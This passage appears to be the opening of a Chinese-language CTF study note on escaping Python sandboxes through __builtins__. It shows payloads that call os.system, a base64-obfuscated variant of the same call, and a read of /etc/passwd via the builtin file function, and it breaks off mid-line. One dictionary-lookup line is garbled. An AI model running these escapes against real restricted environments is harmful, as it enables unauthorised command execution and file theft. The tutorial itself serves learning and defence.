0x00 简介
关于Python沙箱的逃逸,在多次CTF比赛中看到后,终于下定决心来进行一番学习和总结。
python沙箱逃逸:从一个受限制的python执行环境中获取到更高的权限,甚至getshell。
0x01 __builtins__
首先我们从python的内建函数__builtins__说起。通过dir(__builtins__)可以查看内置函数,展示所有内置类型和函数。
我们先来看最基础的__import__函数
# 直接调用
__builtins__.__import__('os').system('dir')
# 通过dict访问
__builtins__.__dict__[‘import__('os')’].system('ls')
# 玩一些花样-转码
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')
此外还有file、open、eval等函数
__builtins__.__dict__.__getitem__('file')('/etc/passwd').read()
__builtins__.__dict__.__getitem